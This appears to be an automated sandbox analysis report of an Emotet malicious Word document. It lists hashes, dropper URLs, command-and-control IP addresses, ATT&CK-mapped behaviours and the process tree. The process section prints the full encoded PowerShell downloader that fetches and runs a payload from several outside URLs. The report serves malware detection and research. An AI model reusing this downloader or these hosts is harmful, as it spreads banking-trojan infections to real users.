emotet | 43b649f8d39c8356d4c4920c61581ed58f90e56954ed5f90481f3b09cd059be0

General

Target

SecuriteInfo.com.Exploit.Siggen2.12943.15385.16201.doc
Size

176KB
MD5

36fea8be4bf559852cc841616ff794d8
SHA1

8aad9e4cb79ba290cae31a510e3b744367f5326d
SHA256

43b649f8d39c8356d4c4920c61581ed58f90e56954ed5f90481f3b09cd059be0
SHA512

7583ff4cb2b74369ec6f319b469b4149cd071009608b6e13bfb10c9fd908c359cbe2773f6ba32e4a4dae1efef120d23ab31ce1017471039fdf35c534118c336f

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://jkncrew.com/cgi-bin/KhSO16ZAAf/

exe.dropper

http://jmlandscapingservice.com/content/fhGAfKs/

exe.dropper

http://jimlowry.com/dlqCTc01p/

exe.dropper

http://www.lesliemontenegro.com/wp-includes/I1hHqDE6/

exe.dropper

http://johnkeanestudios.com/r00t/vAWElRm/

Extracted

Family

emotet

C2

73.116.193.136:80

185.94.252.13:443

149.62.173.247:8080

89.32.150.160:8080

185.94.252.12:80

77.90.136.129:8080

83.169.21.32:7080

104.236.161.64:8080

114.109.179.60:80

189.2.177.210:443

68.183.190.199:8080

144.139.91.187:443

185.94.252.27:443

190.181.235.46:80

82.196.15.205:8080

46.28.111.142:7080

181.167.96.215:80

202.62.39.111:80

219.92.13.25:80

191.99.160.58:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4060 WINWORD.EXE
4060 WINWORD.EXE
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 816 3888 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 816 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	816	3888	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	816	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powersheLL.exeMinstoreEvents.exe

pid	process
816	powersheLL.exe
816	powersheLL.exe
816	powersheLL.exe
2492	MinstoreEvents.exe
2492	MinstoreEvents.exe
2492	MinstoreEvents.exe
2492	MinstoreEvents.exe
2492	MinstoreEvents.exe
2492	MinstoreEvents.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/2084-11-0x0000000002180000-0x000000000218C000-memory.dmp	emotet
behavioral2/memory/2084-11-0x0000000002180000-0x000000000218C000-memory.dmp	emotet
behavioral2/memory/2492-14-0x0000000000660000-0x000000000066C000-memory.dmp	emotet
behavioral2/memory/2492-14-0x0000000000660000-0x000000000066C000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE545.exeMinstoreEvents.exe

pid	process
4060	WINWORD.EXE
4060	WINWORD.EXE
4060	WINWORD.EXE
4060	WINWORD.EXE
4060	WINWORD.EXE
4060	WINWORD.EXE
4060	WINWORD.EXE
4060	WINWORD.EXE
4060	WINWORD.EXE
2084	545.exe
2492	MinstoreEvents.exe

Blacklisted process makes network request 2 IoCs

Processes:

powersheLL.exe

flow pid process

15 816 powersheLL.exe
17 816 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

545.exeMinstoreEvents.exe

pid process

2084 545.exe
2492 MinstoreEvents.exe

flow	pid	process
15	816	powersheLL.exe
17	816	powersheLL.exe

pid	process
2084	545.exe
2492	MinstoreEvents.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

545.exe

description	pid	process	target process
PID 2084 wrote to memory of 2492	2084	545.exe	MinstoreEvents.exe
PID 2084 wrote to memory of 2492	2084	545.exe	MinstoreEvents.exe
PID 2084 wrote to memory of 2492	2084	545.exe	MinstoreEvents.exe

Drops file in System32 directory 1 IoCs

Processes:

545.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\KBDTT102\MinstoreEvents.exe 545.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\KBDTT102\MinstoreEvents.exe	545.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen2.12943.15385.16201.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:4060

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAFMASgBLAE8AdABrAGoAPQAnAEgAUQBGAFEAVwB6AGUAbgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AGAAUgBgAEkAVAB5AFAAcgBgAG8AVABPAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAUwBYAEwAVQBQAGcAdwBpACAAPQAgACcANQA0ADUAJwA7ACQAVwBBAFEATABOAG8AdwBoAD0AJwBPAEgASQBFAFoAeQBoAHUAJwA7ACQAUQBMAFMASgBLAGkAcQBhAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAFgATABVAFAAZwB3AGkAKwAnAC4AZQB4AGUAJwA7ACQARwBXAFoAWgBCAGoAagBqAD0AJwBDAEEATABRAEIAcwB1AG0AJwA7ACQAUgBOAFoATABNAHAAZQB6AD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcARQBCAEMATABpAEUATgBUADsAJABGAEwAWQBDAE4AaQBwAGUAPQAnAGgAdAB0AHAAOgAvAC8AagBrAG4AYwByAGUAdwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAEsAaABTAE8AMQA2AFoAQQBBAGYALwAqAGgAdAB0AHAAOgAvAC8AagBtAGwAYQBuAGQAcwBjAGEAcABpAG4AZwBzAGUAcgB2AGkAYwBlAC4AYwBvAG0ALwBjAG8AbgB0AGUAbgB0AC8AZgBoAEcAQQBmAEsAcwAvACoAaAB0AHQAcAA6AC8ALwBqAGkAbQBsAG8AdwByAHkALgBjAG8AbQAvAGQAbABxAEMAVABjADAAMQBwAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbABlAHMAbABpAGUAbQBvAG4AdABlAG4AZQBnAHIAbwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ASQAxAGgASABxAEQARQA2AC8AKgBoAHQAdABwADoALwAvAGoAbwBoAG4AawBlAGEAbgBlAHMAdAB1AGQAaQBvAHMALgBjAG8AbQAvAHIAMAAwAHQALwB2AEEAVwBFAGwAUgBtAC8AJwAuACIAUwBQAEwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABRAEcAVwBWAFMAbABkAHUAPQAnAFkATQBHAFIAUABmAGIAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQASgBXAFAAQQBJAGoAbwBtACAAaQBuACAAJABGAEwAWQBDAE4AaQBwAGUAKQB7AHQAcgB5AHsAJABSAE4AWgBMAE0AcABlAHoALgAiAEQAbwBXAGAATgBMAG8AQQBgAEQARgBpAEwARQAiACgAJABKAFcAUABBAEkAagBvAG0ALAAgACQAUQBMAFMASgBLAGkAcQBhACkAOwAkAEMAWABaAEcAQwBkAGEAdAA9ACcAVgBYAEYAUQBKAG4AcABxACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQAUQBMAFMASgBLAGkAcQBhACkALgAiAGwAYABlAE4AZwB0AEgAIgAgAC0AZwBlACAAMwAwADIAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAYABlAEEAdABlACIAKAAkAFEATABTAEoASwBpAHEAYQApADsAJABLAEUATgBXAEgAcwBsAHcAPQAnAEwATABGAE8AVQBiAHMAcAAnADsAYgByAGUAYQBrADsAJABLAEUAUwBWAFkAZQBoAHgAPQAnAEkARABUAEIAWQBzAHcAdgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAEIAUgBOAFIAZwBzAGgAPQAnAFAASQBMAE8AUgB4AGYAZwAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:816

C:\Users\Admin\545.exe
C:\Users\Admin\545.exe
1⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
PID:2084

C:\Windows\SysWOW64\KBDTT102\MinstoreEvents.exe
"C:\Windows\SysWOW64\KBDTT102\MinstoreEvents.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:2492

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\545.exe

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C:\Users\Admin\545.exe

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C:\Windows\SysWOW64\KBDTT102\MinstoreEvents.exe

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memory/2084-11-0x0000000002180000-0x000000000218C000-memory.dmp

Filesize
48KB

Download
memory/2492-14-0x0000000000660000-0x000000000066C000-memory.dmp

Filesize
48KB

Download
memory/2492-12-0x0000000000000000-mapping.dmp

Download
memory/4060-3-0x0000024B3F6BE000-0x0000024B3F6C3000-memory.dmp

Filesize
20KB

Download
memory/4060-7-0x0000024B3F831000-0x0000024B3F845000-memory.dmp

Filesize
80KB

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memory/4060-8-0x0000024B3F831000-0x0000024B3F845000-memory.dmp

Filesize
80KB

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memory/4060-6-0x0000024B3F831000-0x0000024B3F845000-memory.dmp

Filesize
80KB

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memory/4060-5-0x0000024B3F831000-0x0000024B3F845000-memory.dmp

Filesize
80KB

Download
memory/4060-4-0x0000024B3CF9B000-0x0000024B3CFAA000-memory.dmp

Filesize
60KB

Download
memory/4060-0-0x0000024B3F6C3000-0x0000024B3F6C8000-memory.dmp

Filesize
20KB

Download
memory/4060-2-0x0000024B3F6C3000-0x0000024B3F6C8000-memory.dmp

Filesize
20KB

Download
memory/4060-1-0x0000024B3F6C3000-0x0000024B3F6C8000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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